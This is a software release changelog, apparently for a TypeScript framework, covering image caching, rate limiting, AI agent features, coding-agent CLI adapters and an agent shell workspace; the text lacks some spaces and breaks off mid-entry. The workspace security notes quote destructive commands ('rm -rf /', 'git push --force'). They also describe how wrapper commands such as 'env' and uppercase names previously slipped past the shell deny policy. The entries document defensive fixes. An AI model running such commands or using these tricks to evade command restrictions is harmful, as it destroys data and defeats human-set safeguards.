resolveImageVariant,createUploadedFileControllerandgenerateImageVariants({ disk, urlPrefix }). Remote originals retain their driver URL; derivatives are cached locally, with bounded source reads and generation keys that isolate buckets and tenant prefixes. ETag metadata avoids downloads on cache hits; sources without an ETag use content hashes. Concurrent downloads are shared, and ingest downloads once for all variants/formats. The default public uploads controller keeps returning 404 for cloud default disks; an explicitdiskorremote: truedeliberately opts a controller into cloud serving. - Added
uploads.images.maxCacheBytes(default 512 MiB) andmaxCacheAge(default seven days) bound cached derivatives. Expired hits render again; cleanup removes expired and oldest files, retaining the derivative being returned even when it alone exceeds the byte budget. Writes schedule a coalesced background sweep at most once per minute; hits never walk the cache and the byte budget is eventual. Idle caches are reclaimed after their next generated derivative. - AddedSSE supports unnamed events (
send(undefined, data)) and raw string payloads through a fourth{ raw: true }argument, with safe multilinedata:encoding. SSE and streams accept explicit cacheheadersbefore flushing while protecting protocol/drain headers and keeping safe cache defaults. - AddedSSE and stream controllers gain synchronous
enqueue()with a byte cap (maxQueuedBytes, default 1 MiB for enqueue), disconnect/drop overflow policies with a visibledroppedcounter, ordered draining and flushing accepted queued output onend(). - Added
http.logging.privateapplies path-prefix or regular-expression policies to decoded, normalized request URLs, including unmatched requests. Matching policies check raw, decoded and resolved paths plus the matched route pattern, remove input before snapshots are built and cannot be overridden by per-route logging. Dev-dispatch error URLs use the same policy. - Changed
warlock devexits with code 1 and a clear error when it is started on Bun or Deno: the development server is Node-only. Before, it started partway and then failed in confusing ways. The error names the runtime and points to the production start commands.warlock buildon Bun or Deno still runs, but prints a notice that only the Node build is verified. - ChangedA source checkout of
@warlock.js/corerun by a runtime withoutmodule.registerHooksnow prints what is missing, instead of failing with "registerHooks is not a function". - ChangedStatic file serving loads
@fastify/staticon the first file request instead of at boot, including existing public folders androuter.directorymounts. The directory globber loads at boot only forwildcard: false. Concurrent first requests share initialization; upstream headers, ranges, listings, decorators and exact routes forwildcard: falseare preserved. - ChangedRequest-log privacy rules (
http.logging.private) are prepared once per configured array instead of on every log snapshot: each string prefix is normalised a single time, and a regex rule's need for a fresh copy (global or sticky flags) is decided once. Setting a new array applies its rules; editing the existing array in place is no longer picked up. The logging docs andconfigure-appskill now also say that a route pattern containing a%that does not decode withholds body and query on every request to that route. - ChangedBREAKING: Node.js 22.15 or newer is required (
engines.node: ">=22.15"): thewarlockCLI loads TypeScript throughmodule.registerHooks, which Node added in 22.15.warlock upgrade --from 5.30 --to 5.31.0raises the app'sengines.node,.nvmrcand.node-version(codemodnode-22-15). - FixedSkill examples compile against the current API: the LLM-streaming example iterates
agent.stream()events (agent.trip.streaming/event.delta), the raw-query example usesapp.database?.driver.query(...), the environment-aware logging example sets per-channellevels(LogConfigurationshas nolevel), the authenticated-test examples useauthService.createTokenPair(user)andaccessToken.token,devServer.healthCheckersshows a valid value, and examples import or declare everything they use. - FixedRunning
bin/warlock.jsfrom a source checkout (noesm/build next to it) no longer crashes every booting command (doctor,inspect,mcp,routes) on Node.js 22.15 withTypeError: t is not a functionfromdayjs.extend. The bin's TypeScriptloadhook ran in the main thread, and on 22.15 that hands a CommonJS package the empty, not-yet-run exports of a file an ES module also imports (@mongez/time-wizardrequiring the dayjsutcandtimezoneplugins). The hook now runs in amodule.register()loader worker. Bare subpaths of a package consumed as source, such as@warlock.js/core/net, now resolve to the directory'sindex.tsinstead of failing withERR_UNSUPPORTED_DIR_IMPORT, sowarlock mcploads@warlock.js/aifrom source. The published package, which loads compiled output without hooks, was not affected. - FixedConditional requests follow RFC 9110:
If-None-Matchuses weak comparison on both sides (a weak current ETag now matches its strong form) and parses quoted tags containing commas;If-Matchuses strong comparison, so aW/tag never satisfies it.response.sendFile(),sendBuffer()/sendImage()with anetagand the uploads variant controller answer a failedIf-MatchorIf-Unmodified-Sincewith 412, and evaluate the headers in the RFC order. - FixedThe development wildcard dispatcher applies the global rate limiter per matched route instead of to every request, so a route exempted with
rateLimit: falseorserverOptions: { config: { rateLimit: false } }, a static file route and an unmatched URL are not counted, exactly as in production. Routes with a wildcard path share the global bucket in both modes. - Fixed
warlock generate.modulelist controllers validate their query (page,limit) with a schema and passrequest.validated()to the list service instead ofrequest.all(); the web starter's contact route is registered withpublic: true. - FixedReact module-resolution regressions preserve the ESM package boundary in isolated fixtures and report child-process stderr before checking output, so missing and broken React installations are tested correctly under Node.js 22.15.
- FixedThe TypeScript worker configured-root regression uses the framework's real source-worker bootstrap on Node.js 22.15, retaining its declaration, update and deletion checks instead of starting an unsupported direct
.tsworker entry. The same assertions also run against a built.mjsworker without loader hooks. - FixedUpgrade guidance names
AgentConfig.compaction, covers sub-agent dispatch and blank/default validation changes, and explains which routes the production rate quotas cover. In 5.31,purgeImageVariants()preserves legacy two-level cache files; retire them manually, correcting the earlier 5.30 cleanup suggestion. - FixedPer-file image-cache purges refuse symlinked shard directories for local and object-storage disks. Stale-generation pruning now removes only recognized cache files from older generation-shaped folders, preserving current-generation files, unrelated entries, directories and symlinks.
- FixedThe error-handling guide gives the schema-validation failure status as 422, matching the framework default, and the validation skill's introduction no longer says 400.
- FixedThe validation skill shows the HTTP 422 body as strict JSON that can be copied into a JSON parser.
- FixedImage-variant purges remove only recognized cache files and retain the cache root, directories, unrelated files and symlinks. Purge and background eviction validate every shard/source/generation path component, so a cache nested inside storage cannot recursively delete uploads. Use a dedicated derivative folder.
- FixedNotification test fixtures roll back partially created users, tokens and rows on setup failure, attempt all cleanup operations and clear their reference before teardown.
actingAs()refuses non-test environments before issuing credentials and revokes a newly issued blank token before rejecting it. - FixedImage-variant generation and purging reject a cache directory that equals or contains any configured local storage root, including runtime-registered disks and symlink aliases. Validation happens in the shared cache-directory resolver, so
purgeImageVariants()cannot bypass it and delete uploads through an overlapping cache setting. - FixedOxlint failures preserve stdout config errors alongside stderr warnings and bound command diagnostics without echoing file arguments. Health-worker shutdown waits briefly for child cleanup before forced termination.
- FixedGenerator selection prompts reject an empty choices list before opening terminal input; indexed reads retain their validated bounds under stricter compiler checks.
- FixedFramework HTTP/2 servers start with default shutdown options and track sessions even without HTTP/1 idle-connection support. Graceful HTTP/2 drains close sessions after active streams finish without setting forbidden connection headers. SSE and stream helpers omit HTTP/1 framing headers on HTTP/2.
- FixedBoth sse() and stream() ignore caller Content-Length, Transfer-Encoding, Content-Type, Connection, Keep-Alive, Proxy-Connection and Upgrade option headers. HTTP/1.1 retains chunked framing and reusable connections; HTTP/1.0 remains close-delimited without Transfer-Encoding.
- FixedGenerated Vitest configuration discovers both
.test.tsand.spec.ts, including notification controller specs. Existing apps should useinclude: ["src/app/**/*.{test,spec}.ts"]. - FixedSource health-check workers start on Node.js 22.15 through a JavaScript bootstrap and tsx's import API; passing a
.tsentry directly to a worker could fail before its loader hook ran. Published.mjsworkers keep their direct startup path. - FixedThe cache-backed rate limiter supplies its per-window TTL on every atomic increment, so a key that expires after the create-only seed cannot be recreated without an expiry.
- FixedThe CLI rejects unsupported Node versions with one clear message and a non-zero exit before loading the published entry or registering the source loader.
- FixedImage-variant cache sweeps remove writer temporaries left by a crashed write once they are an hour old, and remove a generation's
source.jsonand then its empty directory (after a five-minute grace, never through a symlink) once its derivatives are gone, so object-storage generations no longer pile up when ETags change. Scheduled checks skip the cache walk while the estimate is within budget and nothing has expired; the first check after boot and one permaxCacheAgestill walk. - FixedA cache directory or disk root that cannot be resolved (
ENOTDIR,EACCES,ELOOP) now throwsImageVariantsConfigError, with the original error as itscause, instead of the raw file-system error. The cache-overlap guard remembers its result per cache, disk root and configured local roots instead of resolving every path on each variant request; a newly registered disk is checked again. - FixedDev-server Oxlint checks no longer abort a boot scan on one over-long path: it runs in its own batch and, if the OS still refuses it, only that file is reported as unchecked. Batches count each argument's
argvpointer on POSIX, hold at most 500 files, and a batch whose report overflows the output buffer is split and retried. Shutdown sends SIGKILL 250 ms after SIGTERM to a CLI child that ignores it, and an interrupted check reports a cancellation instead of a 30-second timeout. - SecurityIn every release up to and including 5.30.0, the global
http.rateLimitdid not apply to application routes in production, and per-routerateLimitoptions had no effect in production (development enforced them). 5.31 enforces both: the shared bucket now covers pages and API routes. Static files (the public folder,router.directory()mounts,router.file()routes and the web build's assets) and the built-in liveness and readiness probes are exempt by default;http.rateLimit.staticFiles: trueandhttp.health.rateLimit: trueopt them into the global policy.
- Added
Usage.inputIncludesCachesays whetherinputcontains the cache counters (set by each first-party adapter; absent reads astrue), andUsage.cacheWrite1hTokenscounts 1-hour cache writes. Usage merged across providers with different semantics is normalised totrue. - Added
ModelPricing.cacheWriteandcacheWrite1h(USD per 1M tokens written to the cache, default and 1-hour lifetime). Cost breakdowns carry cache-write spend incost.cacheWrite;computeCostalso billsreasoningTokensatModelPricing.reasoningwhen that rate is set. - Added
totalCost(cost)sums every channel of a cost breakdown;attachCost(usage, pricing)attaches it to a usage. First-party adapters now attachusage.costtomodel.complete()and the streamingdonechunk when the model is priced, so side calls outside an agent are costed. - Added
ProviderError.status(HTTP status),.billed(true | false | "unknown", failing closed to"unknown"unless the call never reached a billable account or the provider documents the status as free) and.retryable.ProviderErrorOptionsandProviderBilledare exported. - Added
ProviderOverloadedErrorwith codePROVIDER_OVERLOADED(always retryable) for provider overloads;fallbackModelfails over on it by default. - Added
estimateInputTokens(messages, options)— an offline estimate of a call's input tokens (text, tool calls, tool schemas, response schema) — andcountInputTokens(model, messages, options), which uses the model's nativecountTokenswhen it has one and reportssource: "native" | "estimate". - Added
budget({ reserve: { outputTokens, inputTokens? } }): reserve each trip's worst case before the call, commit the actual usage after it, release the reservation when the call fails. Applies to the run caps and, atomically through the store, toscopedledgers, so concurrent runs cannot jointly overspend.BudgetPricingentries may now be aModelPricing(cache rates included) besides{ inputPer1K, outputPer1K }. - Added
measureTools(tools, { model, mode })reports the input tokens a tool list adds per call, per tool and in total, counted natively when the model can and estimated otherwise. Registered asai.tools.measureby@warlock.js/ai-tools. - AddedCompact tool schemas:
compactJsonSchema(),extractJsonSchema(schema, { compact }),withCompactJsonSchema(),compactToolSchemas()and thetoolSchemas: "full" | "compact"option onai.agent()andexecute(). Compact schemas drop annotations (descriptions, titles, examples, defaults) and collapse const unions toenum; validation is unchanged. - Added
createToolContext({ artifacts?, signal? })builds theToolContextfor invoking a tool outside the agent loop. - Added
verifyModelSignalContract({ createModel })checks that a model adapter honoursModelCallOptions.signal: a call with an already-aborted signal rejects, and aborting mid-call rejects promptly and cancels the HTTP request, forcomplete()andstream(). It serves an ephemeral local port that never answers (protocol: "http2"for HTTP/2 clients), has no test-runner dependency, and throws anErrornaming the failed check. Honouringsignalis now part of the documentedModelContract, and every first-party adapter runs this check. - Added
continueOnOutputLimit: nonAgentConfigandAgentExecuteOptions: up tontimes per run, a response cut off by the output cap is continued with a continue turn and the segments are joined inresult.text(and the structured output parsed from it), also on the stream and during repair. A tool call cut off mid-input is dropped and the model is told it did not run. Each continuation is a trip withinmaxTrips; a full context window is never continued. - Added
agent.execute(input, { modelOptions })andagent.stream(input, { modelOptions })set model call options (reasoning effort,maxTokens,cacheControl,providerOptions, …) for that run only, shallow-merged overAgentConfig.modelOptions; the agent is not changed.tools,signalandresponseSchemain the per-call object are ignored. - AddedTool events carry the provider's tool-call id as
callId:agent.tool.calling,agent.tool.calledandagent.tool.failed(event payloads and stream events), theToolCallrecord (report.children[].callId), the tool middleware context (ctx.callId), and the human-approvalPolicyContext/ApprovalRequestContext. Concurrent calls to the same tool in one trip can now be told apart. Tool log lines include it. - Added
AgentIncompleteError,AgentIncompleteErrorOptionsandAgentIncompleteReasonare exported;AIErrorCodegainsAGENT_INCOMPLETE,ErrorCategoryandReportStatusgainincomplete, andLLMTripgainstruncatedToolCalls. - Added
agent.stream()emitsagent.trip.reasoning(reasoning / thinking text),agent.tool.streaming({ callId, name, delta }pieces of a tool call's arguments while the model writes them) andagent.trip.usage(running token counts for the trip) wherever the provider streams them.execute()is unchanged;modelOptions.streamChunksturns them down. - Added
ModelStreamChunkgainsreasoning,tool-argsandusagechunks. They are opt-in onmodel.stream()throughModelCallOptions.streamChunks(trueor{ reasoning?, toolArgs?, usage? }), so existing chunk consumers see exactly the olddelta/tool-call/donesequence.resolveStreamChunks(options)resolves the option for adapters;MockModelemits all three (scriptedreasoning, the tool input astool-args, a finalusage) when asked. - Added
ai.providerTool({ provider, definition, execute? })declares a provider-defined tool (web search, code execution, bash, text editor, search grounding, …). The agent sends it asModelCallOptions.providerTools; only the named provider receives the definition, verbatim, and every other adapter skips it with oneproviderTool.skippedwarning. Client-run provider tools dispatch toexecuteby name. Also exported:isProviderTool,selectProviderTools(adapter helper),ProviderTool,ProviderToolDefinition. - AddedRegression fixtures assert required model and identifier segments before reading them under stricter indexed-access checks; the compiler error budget falls by ten.
- AddedSkills include complete examples for per-trip tool concurrency and native token preflight with provider-specific request options.
- AddedAgents can opt into automatic history compaction with an explicit token threshold, a summary callback and an optional native/custom counter. System prompts, current input and tool groups are preserved. Applied/skipped decisions are recorded on reports and durable snapshots.
- AddedCompaction works on thinking runs. The replaced range always ends before the open tool round, which goes back verbatim with its signed thinking. When kept turns after the range carry signed reasoning, the summary is framed as user context and those turns are marked
compaction: "retained"(the summarycompaction: "summary"), so adapters whose providers bind reasoning to the exact prior history can leave it out on replay. - Added
ai.compaction.summarize({ model, instructions?, maxTokens?, modelOptions?, onUsage? })(alsosummarizeCompaction): a ready-madecompaction.summarizecallback. It sends the slice as a tagged transcript with Anthropic's published client-side compaction prompt (DEFAULT_COMPACTION_INSTRUCTIONS), reads the<summary>tags, and throws on a truncated, refused or empty reply so the agent keeps the conversation.renderTranscript(messages)is exported for custom callbacks. - Added
ai.session({ id, store, agent, lock? }): a persisted multi-turn conversation with one agent —send,stream,history,load,fork,truncate,resume,clear. Each send stores the whole turn (tool rounds, provider blocks, attachment parts), failed runs leave the history unchanged, sends on one session id are serialized, the agent's compaction policy compacts long sessions, and a send interrupted by a crash resumes through a durable agent. - Added
ai.snapshot.file({ dir })andai.snapshot.sqlite({ path } | { database })snapshot stores for local-first apps, usable for durable runs, supervisor snapshots and sessions. The SQLite store uses Node's built-innode:sqlite(Node 22.5+; no flag on Node 22.13+), loaded only on first use, or any openexec/preparedatabase such asbetter-sqlite3; it creates its table on first use unlesscreateTable: false. - Added
Message.compaction/CapturedMessage.compaction("summary" | "retained"), and a per-callcaptureMessagesoption onagent.execute/stream. - Added
ai.snapshot.pg()andai.snapshot.redis()are generic over the snapshot shape like the other snapshot factories; the default staysSupervisorSnapshot. - Added
ModelContract.countTokens?()represents optional native input-token preflight, separate from offline SDK estimates. - Added
SpawnSubAgentSpecacceptstoolDispatchandmaxConcurrentTools, forwarded to the fresh agent. Defaults matchai.agent()(concurrent, up to four calls). - Added
ToolContext.request(ToolRequestContext:headers,remoteAddress) carries the inbound request when a server transport runs the tool for a remote client, such asai.mcp.serveover HTTP. It is unset for in-process dispatch and never reaches the model. - Changed
MockModelinfersfinishReason: "tool_calls"when a scripted response has non-emptytoolCallsand nofinishReason, so scripted tool calls run without repeating the finish reason. An explicitfinishReasonstill wins. - Changed
MockModelhonourssignal: an already-aborted signal rejects the call, an abort during a scripteddelayrejects immediately, andstream()stops between chunks. The rejection is the signal'sreasonwhen it is anError, otherwise anAbortErrorDOMException. - Changed
@warlock.js/aiimports Core's private-address classifier from the new side-effect-free@warlock.js/core/netsubpath instead of the Core root, so a standalone process runningai.agentno longer loads Core's HTTP server, database, cache and mail modules, and bundlers no longer need to alias Core. An import-graph test fails if anything reachable from the package entry imports the Core root. The installation guide documents@warlock.js/cacheand@warlock.js/cascadeas optional, lazily loaded peers for standalone use. - ChangedBREAKING An agent run whose final response was cut off — by the output token cap (
finishReason: "length") or the context window ("context_exceeded") — no longer finishes as a success with empty or partial text. It ends withresult.erroranAgentIncompleteError(code: "AGENT_INCOMPLETE", category"incomplete",reason: "output_limit" | "context_window",tripIndex,continuations) andreport.status: "incomplete";result.textkeeps the partial text. A tool call the model was still writing is never executed and is listed on the trip's newtruncatedToolCalls. Durable snapshots of such a run are stored asfailed, soresume()retries the cut-off trip. - ChangedThe semantic cache never stores a response cut off by the output cap or the context window; a continued answer is stored whole.
- ChangedThe provider matrix documents inherited
providerOptions.openai.bodyon xAI, Groq, DeepSeek and Mistral, and warns against sharing provider-specific fields across incompatible fallback models. - FixedSkill examples compile against the current API: the guardrail skills import from
@warlock.js/ai(guardrails ship in core; there is no@warlock.js/ai-guardpackage),ai.config({ defaultStore })awaitscache.driver(...),MockSDKis called withoutnew, the observer skill no longer lists the internalclearObservers, the vector-store tool maps{ key, score, value }hits, and examples declare the agents, tools and clients they use. - Fixed
computeCostbills Anthropic and Bedrock prompt caching correctly. Theirinputexcludes cache reads and writes, so cache reads are no longer subtracted from it (which could floor fresh input at 0), and cache writes are now charged: atModelPricing.cacheWrite, with the 1-hour share atcacheWrite1h. OpenAI-style usage, whereinputincludes cached tokens, is billed as before. - FixedBatch, planner and fallback-model usage rollups use the shared
mergeUsage, so they keep every usage channel and the cache semantics flag. - FixedThe streaming agent loop reads the finish reason and usage only from the
donechunk and ignores chunk types it does not know, instead of treating any other chunk asdone.fallbackModel().stream()still falls over after a model emitted only ausagechunk. - FixedAutomatic compaction preserves the original execution input during output repair and durable resume, records its updated snapshot index, and frames a first-turn summary as user context. Legacy snapshots with missing or ambiguous input skip compaction safely.
- FixedA durable snapshot's persisted input index is trusted on resume only when it is an integer inside the conversation that points at a
usermessage. An out-of-range, negative, fractional or non-user index (a corrupted or hand-edited snapshot) falls back to finding the unique matching input, and compaction itself refuses to protect a non-user message, recordingno-safe-rangeinstead of summarising the input.
- AddedFirst release: drive vendor coding-agent CLIs headless as agents.
cli.<vendor>(options)(alsoai.cli.<vendor>after importing the package) returns a CLI agent.run(prompt, { cwd, resume, signal, timeoutMs, model, effort, permission, mcp, env, apiKey, args })starts one session, and returnsCliSessionwithevents,done()andcancel(). - AddedAdapters for Claude Code, Codex, Antigravity, Qwen Code, Kimi Code, Cursor, Copilot, Grok Build, OpenCode, Amp, Factory Droid, Mistral Vibe, Aider and Reasonix. Each records the CLI version, the official sources, and whether it was verified against the real
--helpor against the docs (adapter.verification). - AddedOne event model for every vendor:
session.started,message(deltas and complete messages),tool.call,tool.result,usage,errorandsession.ended.session.done()resolves{ status, text, messages, usage, sessionRef, exitCode, signal, error, stderr, durationMs }and never rejects. - AddedCapability probe: before the first run, the CLI's
--versionand help screens are read, and every flag the launch plan relies on must be listed. A missing flag fails the run withCliError(type: "capability"), naming the flag and the installed version. - AddedSecrets never go to argv: - API keys travel in the environment (
apiKey). - Per-run MCP servers are written as a mode-0600 file in a private per-run directory, removed after the run. - Each run gets a private config home by default (CLAUDE_CONFIG_DIR,CODEX_HOME,COPILOT_HOME,GROK_HOME, …).homealso takes a path you own, or"inherit". - Added
permissiondefaults to"standard", the CLI's own non-interactive approval rules. Each vendor's approve-everything mode is used only withpermission: "bypass". - AddedWindows spawn rules: -
PATHEXTlookup. - npm and pnpm.cmdshims are unwrapped tonode <script>(or their native.exe). - Other batch files fall back tocmd.exe /d /v:off /s /cwith every argument quoted, refusing bytescmd.execannot carry. - The prompt moves to stdin or a prompt file when argv cannot carry it. - AddedCancellation (
signal,cancel()) andtimeoutMskill the CLI's whole process tree. On POSIX this is its own process group, with SIGTERM then SIGKILL; on Windows,taskkill /T /Fon its PID. - Added
agent.model(config)/cliModel(agent, config)wraps a CLI agent as aModelContract, soai.agentand its budget, guardrail, observer and fallback middleware can drive a CLI. - Added
createCliAgent(adapter, options)/cli.custom(adapter)and the documentedCliAdapterinterface let apps add vendors. The building blocks are exported:jsonLinesParser,createClaudeStreamParser,mcpServersJson,toToml,mapEffort,requirePrivateHomeand more. - Fixed
session.cancel(), or aborting the run'ssignal, after the run has finished no longer signals the CLI's old process group. Once the CLI's pipes close, cancellation is a no-op, so afinally { session.cancel() }cannot reach an unrelated process that reused the pid. The abort listener is also removed when the run settles.
- AddedSkills include complete examples for viewport metadata, typed Link wrappers, runtime route-name checks and independent form submissions with query parameters. Settled-outcome guidance handles action errors and dropped submissions separately from completed requests.
- AddedDevelopment checks compile the optional Web Vitals example against its actual types; Web Vitals remains an app-installed optional dependency.
- Added
<Form onSettled={outcome => …}>observes every enhanced submission outcome, including network failures and dropped submissions, after the existing success/error callbacks. Native browser submissions do not invoke it. - AddedA submit button marked
data-independentopts that submission into independent mode, so a Cancel button can run beside Start within the same form. - FixedSitemap routes compare
If-Matchstrongly and answer 412 when it does not name the exact strong ETag;If-None-Matchkeeps weak comparison and both use core's RFC 9110 precondition evaluation. TheW/weakness prefix is matched case-sensitively, as the RFC defines it. - FixedPages render on Bun and Deno. Both runtimes resolve a bare
react-dom/serverimport through their own export conditions to a React build withoutrenderToPipeableStream, so every page request on a built app failed with "renderToPipeableStream is not a function" (HTTP 500). The page renderer now loads React's Node server build,react-dom/server.node, when the selected build cannot stream. Node keeps the module it selected before. - FixedThe server-page-cache test fixture explicitly disables unrelated HTTP throttling and restores its previous configuration on teardown, so repeated cache requests exercise cache behavior after production rate-limit enforcement was corrected.
- FixedPublished page skills include complete support modules, schemas and generated-type prerequisites; their HTTP examples and Vitest discovery match current APIs. The skill compile gate verifies them without a failure allowance.
- FixedThe root middleware example declares its own request-local type rather than depending on another skill's augmentation.
- FixedGuarded
useUser(name)retains the last committed signed-in user when a concurrent transition suspends and is abandoned. Navigation callbacks also read the committed page, and boundary reset counters commit with their page swap. A regression verifies that an abandoned transition preserves the visible error fallback and does not report its error again before the next committed swap. - FixedLocale context reuse after development edits is covered by a real Vite dev-server/HMR regression: a retained provider continues to serve refreshed locale and translation hooks after repeated filesystem edits. An unshared-context control reproduces the missing-provider HTTP failure.
- Fixed
<Form>'sonSettleddocumentation says that a form unmounting drops only independent submissions (the form'sindependentprop or adata-independentsubmit button); other in-flight submissions are not aborted by an unmount. Regression tests coveronSettledrunning once whenonSuccessthrows and adata-independentbutton's submission being aborted on unmount. - SecurityThe global HTTP rate limiter that 5.31 enforces covers page routes and API routes; the production client bundle (
/assets/*) and the public files copied bywarlock buildare static files and exempt by default, so one page load's script, stylesheet, font and image requests do not spend the visitor's quota.http.rateLimit.staticFiles: truecounts them again. In development, Vite answers module and asset requests before any route runs, so they never count.
- AddedBuilt-in Claude API list prices (
ANTHROPIC_MODEL_PRICING,anthropicPricingFor,withAnthropicCacheWriteRates), from Anthropic's pricing page as of 2026-10-17, used when neither the model nor the SDK registry is priced. Dated snapshot ids resolve to their alias. Claude Haiku 5.5 (priced by prompt length) is left unpriced. - Added
complete()and the streamingdonechunk attachusage.costwhen the model is priced. - Added529 /
overloaded_errorresponses and mid-stream overload events throwProviderOverloadedError; every wrapped error carriesstatus,billedandretryable. - AddedAn adapter contract test verifies that aborting
signalrejectscomplete()andstream()on the model and cancels the HTTP request. - Added
AnthropicModelConfig.maxOutputTokensoverrides the inferred model output limit that sizes the defaultmax_tokens. - AddedWith
streamChunks,stream()yieldsreasoningforthinking_delta,tool-argsfor theinput_json_deltaof clienttool_useblocks, andusageaftermessage_startand eachmessage_delta.send()takes the samestreamChunkstransport option. - Added
ai.providerTool({ provider: "anthropic", definition })entries (web_search,web_fetch,code_execution,bash,text_editor,memory, …) are sent verbatim ahead of the function tools; the prompt-cache breakpoint stays on the last function tool. Other providers' tools are skipped with a warning. The reservedproviderOptions.anthropic.bodykeys are unchanged. - AddedTyped context management on
providerOptions.anthropic:contextManagement.clearToolUses/clearThinking(clear_tool_uses_20250919/clear_thinking_20251015, betacontext-management-2025-06-27) andserverCompaction(compact_20260112, betacompact-2026-01-12, trigger of at least 50,000 input tokens). The adapter builds the edits in the order the API requires and adds the beta headers; combining them withbody.context_managementfails withInvalidRequestError. - Added
thinkingBlockBinding: "error" | "drop_block"sendsthinking.block_binding.prefix_mismatch_behaviorwith thethinking-binding-controls-2026-08-01beta. - AddedPreserved thinking after client-side compaction: on Claude Fable 5.1, Opus 5.5, Sonnet 5.5 and Haiku 5.5 an assistant turn marked
compaction: "retained"is replayed without its thinking blocks, which were produced against the replaced history.AnthropicModelConfig.preservedThinkingoverrides the inference;inferPreservedThinking(name)andToAnthropicMessagesOptionsare exported. - Added
AnthropicModel.buildRequest()creates a detached request snapshot for preflight auditing;send(request)sends that snapshot as a completion or stream without rebuilding its body. - AddedMessage, tool and provider-block converters and request types are exported from the package root for hosts using their own transport.
- Changed
reasoning: { effort: "none" }now turns thinking off on Claude Sonnet 5 and Claude Haiku 5.5 withthinking: { type: "disabled" }(sent alone, so Haiku 5.5 stays at its default effort, inside the range wheredisabledis accepted). Previously nothinkingfield was sent and both models ran adaptive thinking by default. - Changed
reasoning: { effort: "none" }on Claude Opus 5 now sends adaptive thinking atoutput_config.effort: "low"instead of omittingthinking(which ran at the defaulthigh). Opus 5 is deliberately not sentdisabled: with thinking off it can write a tool call as plain text that never runs, and leak thinking tags. Claude Opus 5.5, Sonnet 5.5 and Fable 5 / 5.1 are unchanged. - ChangedBREAKING The default
max_tokens(when nomaxTokensis set) rose from 4096. Streaming requests use the model's documented max output — 128K for the Claude 5 family and Opus 4.6–4.8 / Sonnet 4.6, 64K for Opus / Sonnet / Haiku 4.5 — and non-streaming requests use 16384, capped by the model's max output (the Anthropic SDK requires streaming for larger non-streaming requests unless the client sets atimeout). Unknown ids default to 16384. With thinking on, the default still keeps room for the thinking budget plus 4096 answer tokens, within the model's limit. - FixedUsage is marked
inputIncludesCache: false(Anthropic'sinput_tokensexcludes cache reads and writes), and 1-hour cache writes are reported incacheWrite1hTokensfromcache_creation.ephemeral_1h_input_tokens— or, when the breakdown is missing, from a request whose every cache marker asked forttl: "1h". Cost now bills reads and writes once each, at their own rates. - FixedCaller pricing that omits cache-write rates gets Anthropic's documented multipliers (5-minute writes 1.25x input, 1-hour writes 2x) instead of billing writes at nothing.
- FixedUsage includes server-side compaction: the
compactionentries ofusage.iterations, which the top-level token counts leave out, are added toinput,outputand the cache counts (completions and streams). - Fixed
complete()always builds a non-streaming request, including when an indexedstreamoption is supplied. - FixedA request that fails to build in
complete(),stream()orcountTokens()(a reservedproviderOptions.anthropic.bodykey, or abodyvaluestructuredClonecannot copy, such as a function) is logged like a send failure and rejects with anAIError; errors that are not already one become anInvalidRequestErrorcarrying the original ascause. Before, the raw error escaped unlogged.buildRequest()itself still throws the raw error. - FixedThe debug log line for a streaming request reads "Starting streaming call to messages.create" again; non-streaming requests keep "Starting call to messages.create".
- FixedThe provider docs and
setup-anthropicskill say thatsend()passesbetasonly to the"beta.messages"endpoint.
- Added
list_dirtool andws.listDir(path, { depth, ignore }): a bounded, jailed directory listing (breadth-first, types and file sizes,denyPathsandlist.ignoreleft out, symlinks reported but never followed), configured by the newlistpolicy (ignore,maxDepth,maxEntries). - Added
multi_edittool andws.multiEdit({ path, edits, expectHash }): several exact-string replacements in one file, applied in order and written once — all of them or none.WorkspaceEditError.editIndexnames the failing edit. - AddedBackground commands: with
shell.background({ maxJobs?, timeoutMs? }),run_shell({ background: true })/ws.startShell()start a long-running command owned by the workspace;shell_output/ws.shellOutput(id, { since, waitMs })read its new output (newestshell.maxOutputByteskept, with acursor), andshell_kill/ws.shellKill(id)kill its whole process tree.ws.listShells()lists them;WorkspaceJobErrorreports an unknown id. Backends implement the new optionalstart(). - Added
ws.dispose()kills every background command (whole process trees) and makes the workspace refuse new commands; trees still running when the Node process exits are killed too. - Added
todo_write/todo_readtools andws.writeTodos()/ws.readTodos(): an in-memory todo list per workspace, shared with itsreadonly()/scope()projections.TodoStoreis exported. - Added
shell.denyPatterns(string prefix patterns or RegExps) andshell.allowCommand(argv, ctx)(returntrue,false, or a refusal explanation) check every command's arguments, so a policy can refusegit push --forceorrm -rf /while allowinggitandrm. - Added
shell.interpreter: "sh"— an explicit opt-in to shell syntax. The line runs through/bin/sh -c(cmd.exe /d /v:off /s /con Windows) after it is parsed and every simple command in it — inside;,&&,||, pipes, subshells,$( ), backticks, here-documents andNAME=valueprefixes — is checked againstdeny/allow/denyPatterns/allowCommand. Redirection targets andcddirectories must stay in the jail (re-checked with symlinks resolved). Syntax the parser cannot read with confidence is refused. The default stays"none"(argv, no shell). - Added
WorkspacePolicyError.reason(WorkspaceShellRefusalReason:"metacharacter","unbalanced-quotes","denied-executable","not-allowed","denied-pattern","nested-command","unsupported-syntax","path-escape") andexecutable, so hosts can phrase refusals themselves. In argv mode the message suggests the split, e.g. "&&is not supported in argv mode: rungit add -A, thengit commit -m …, as separate commands." - Added
checkShellCommand(policy, command)returns the shell policy's verdict (reason, message, every checked argv, paths) without running anything;analyzeArgvCommand()andtokenizeCommand()are exported. - AddedBackends may implement an optional
stat(); the local and mock backends do. The mock backend's scripted commands acceptrunning: truefor background starts. - AddedThe workspace skill and docs cover the new tools, shell mode, argument rules, background commands and
dispose(). - ChangedThe docs, the skill and the path resolver's comments explain how the workspace jail differs from
@warlock.js/fs's new confined reader (fs.confined) and why the workspace keeps its own resolver: it accepts absolute paths inside the jail,allowPathsroots,denyPaths, links that stay inside and paths that do not exist yet. Behaviour is unchanged. - FixedThe package README no longer ends with a stray empty code block.
- FixedThe workspace tools now publish a JSON Schema of their input, so providers send the model the real parameter names instead of an empty object schema.
- Fixed
run_testsquotes itspatternfor the shell in use: single quotes underinterpreter: "sh", so$and backticks in a test-name filter stay literal. - SecurityWrapper commands no longer hide the command they run:
env,time,timeout,nice,nohup,command,builtin,execandfind -execare unwrapped and the inner command is checked too, and a wrapper used with options the policy cannot read is refused. Before,env rm -rf /passed adeny: ["rm"]policy. - Security
shell.denymatches executable names case-insensitively, soRMon a case-insensitive filesystem no longer slips pastdeny: ["rm"]. - SecurityA model-supplied
timeoutMsonrun_shellcan now only lowershell.timeoutMs, as documented, never raise it. - SecurityShell mode removes
